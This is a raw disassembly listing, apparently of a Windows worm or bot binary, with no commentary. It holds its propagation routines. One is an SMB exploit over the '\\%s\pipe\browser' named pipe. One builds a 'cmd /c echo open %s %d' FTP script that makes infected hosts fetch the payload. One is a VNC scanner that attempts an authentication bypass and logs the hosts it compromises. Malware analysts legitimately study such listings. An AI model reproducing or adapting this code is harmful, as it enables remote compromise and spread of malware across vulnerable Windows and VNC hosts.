		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  77h	; w
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0B8h	; ¸
		db 0DBh	; Û
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A7h	; §
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  3Ch	; <
		db  29h	; )
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A5h	; ¥
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db    8
		db 0D8h	; Ø
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  43h	; C
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA14
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA14:				; CODE XREF: ___:0040DA0Dj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 2710776h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA58


loc_40DA51:				; CODE XREF: ___:0040DB30j
					; ___:0040DD06j ...
		xor	al, al
		jmp	loc_40DE9C
; ---------------------------------------------------------------------------


loc_40DA58:				; CODE XREF: ___:0040DA4Fj
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432914
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432900
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40DB35


loc_40DB27:				; CODE XREF: ___:0040DC01j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2670894h
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DB35:				; CODE XREF: ___:0040DB25j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4328A8[esi], bl
		jz	short loc_40DBAC
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CE37C
		jmp	short loc_40DBBF
; ---------------------------------------------------------------------------


loc_40DBAC:				; CODE XREF: ___:0040DB98j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4328F7+1)


loc_40DBBF:				; CODE XREF: ___:0040DBAAj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_43289C[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB27
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4328A4[esi]
		push	7
		add	eax, edi
		push	offset dword_432890
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432730
		push	eax
		call	sub_41C310
		mov	eax, dword_4328A0[esi]
		add	esp, 30h
		cmp	byte_4328A8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB8
		push	4
		add	eax, edi
		push	offset dword_4CE374
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4328C0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCE0
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: ___:0040DC69j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4328C0


loc_40DCC9:				; CODE XREF: ___:0040DCDEj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC9


loc_40DCE0:				; CODE XREF: ___:0040DCB6j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0B
		push	dword ptr [ebp-4]
		call	near ptr 2670894h
		nop
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DD0B:				; CODE XREF: ___:0040DCF4j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276A4
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD78


loc_40DD70:				; CODE XREF: ___:0040DD73j
		inc	eax
		test	al, 3
		jnz	short loc_40DD70
		mov	[ebp+0Ch], eax


loc_40DD78:				; CODE XREF: ___:0040DD6Ej
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 27008D1h
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE5:				; CODE XREF: ___:0040DE6Fj
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE7A
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE77
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE69
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_40DE50
		nop
		call	near ptr 26908E1h
		cmp	eax, 3E5h
		jnz	loc_40DA51


loc_40DE50:				; CODE XREF: ___:0040DE3Dj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		call	near ptr 26A011Eh
		nop
		cmp	eax, 102h
		jnz	short loc_40DE69
		mov	byte ptr [ebp+0Bh], 1


loc_40DE69:				; CODE XREF: ___:0040DE1Cj
					; ___:0040DE63j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE5
		jmp	short loc_40DE7A
; ---------------------------------------------------------------------------


loc_40DE77:				; CODE XREF: ___:0040DE17j
		mov	esi, [ebp-8]


loc_40DE7A:				; CODE XREF: ___:0040DDE9j
					; ___:0040DE75j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE96
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE96:				; CODE XREF: ___:0040DE8Fj
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9C:				; CODE XREF: ___:0040DA53j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D5h	; Õ
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Ah	; *
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db  69h	; i
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  36h	; 6
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Dh	; ]
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db  10h
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  90h	; 
		db 0B3h	; ³
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  48h	; H
		db  29h	; )
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  37h	; 7
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  86h	; †
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  8Ah	; Š
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0E6h	; æ
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		db 53h
		dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h
		dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh
		dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh
		dd 7D0h, 2F78E890h, 83430227h, 0B87202FBh, 5F58016Ah
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE3	proc near		; CODE XREF: sub_40E0D1+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B1
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B1
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429110
		push	eax
		push	eax
		push	dword_4CB390
		push	[ebp+arg_0]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B5


loc_40E0B1:				; CODE XREF: sub_40DFE3+50j
					; sub_40DFE3+62j
		xor	eax, eax
		jmp	short loc_40E0CC
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40DFE3+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40E0CC:				; CODE XREF: sub_40DFE3+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D1	proc near		; CODE XREF: sub_40C125+1EAp
					; DATA XREF: ___:off_431B04o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CB694
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E143
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E124
		push	esi
		jmp	short loc_40E13D
; ---------------------------------------------------------------------------


loc_40E124:				; CODE XREF: sub_40E0D1+4Ej
		push	0
		push	1213h
		push	offset dword_4329BC
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E147


loc_40E13D:				; CODE XREF: sub_40E0D1+51j
		call	near ptr 71AB1A6Dh
		nop


loc_40E143:				; CODE XREF: sub_40E0D1+3Cj
		xor	eax, eax
		jmp	short loc_40E189
; ---------------------------------------------------------------------------


loc_40E147:				; CODE XREF: sub_40E0D1+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE3
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E186
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40E186:				; CODE XREF: sub_40E0D1+9Ej
		push	1
		pop	eax


loc_40E189:				; CODE XREF: sub_40E0D1+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18D	proc near		; CODE XREF: ___:0040E27Bp
					; ___:0040E2DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E195:				; CODE XREF: sub_40E18D+2Dj
		test	edi, edi
		jle	short loc_40E1C0
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB66C
		test	eax, eax
		jz	short loc_40E1BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BC
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E195
; ---------------------------------------------------------------------------


loc_40E1BC:				; CODE XREF: sub_40E18D+22j
					; sub_40E18D+27j
		xor	eax, eax
		jmp	short loc_40E1C3
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40E18D+Aj
		push	1
		pop	eax


loc_40E1C3:				; CODE XREF: sub_40E18D+31j
		pop	edi
		pop	esi
		retn
sub_40E18D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C6	proc near		; CODE XREF: ___:0040E2C7p
					; ___:0040E2F4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E203
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FD


loc_40E1D6:				; CODE XREF: sub_40E1C6+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E203
		test	eax, eax
		jz	short loc_40E203
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D6


loc_40E1FD:				; CODE XREF: sub_40E1C6+Ej
		push	1
		pop	eax


loc_40E200:				; CODE XREF: sub_40E1C6+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E203:				; CODE XREF: sub_40E1C6+8j
					; sub_40E1C6+2Bj ...
		xor	eax, eax
		jmp	short loc_40E200
sub_40E1C6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433C00
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB6D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E235
		push	eax
		jmp	short loc_40E269
; ---------------------------------------------------------------------------


loc_40E235:				; CODE XREF: ___:0040E230j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB654
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E274
		push	ebx


loc_40E269:				; CODE XREF: ___:0040E233j
		call	dword_4CB6EC
		jmp	loc_40E46F
; ---------------------------------------------------------------------------


loc_40E274:				; CODE XREF: ___:0040E266j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E468
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2C0
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E468


loc_40E2C0:				; CODE XREF: ___:0040E2B4j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E468
		push	1
		push	offset dword_4CB50C
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F8
		push	edi
		push	esi
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch


loc_40E3F8:				; CODE XREF: ___:0040E3EBj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A73
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431B08[eax]
		push	ebx
		lea	eax, dword_431B08[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E471
; ---------------------------------------------------------------------------


loc_40E468:				; CODE XREF: ___:0040E285j
					; ___:0040E2AAj ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop


loc_40E46F:				; CODE XREF: ___:0040E26Fj
		xor	eax, eax


loc_40E471:				; CODE XREF: ___:0040E466j
		pop	edi
		pop	esi
		pop	ebx
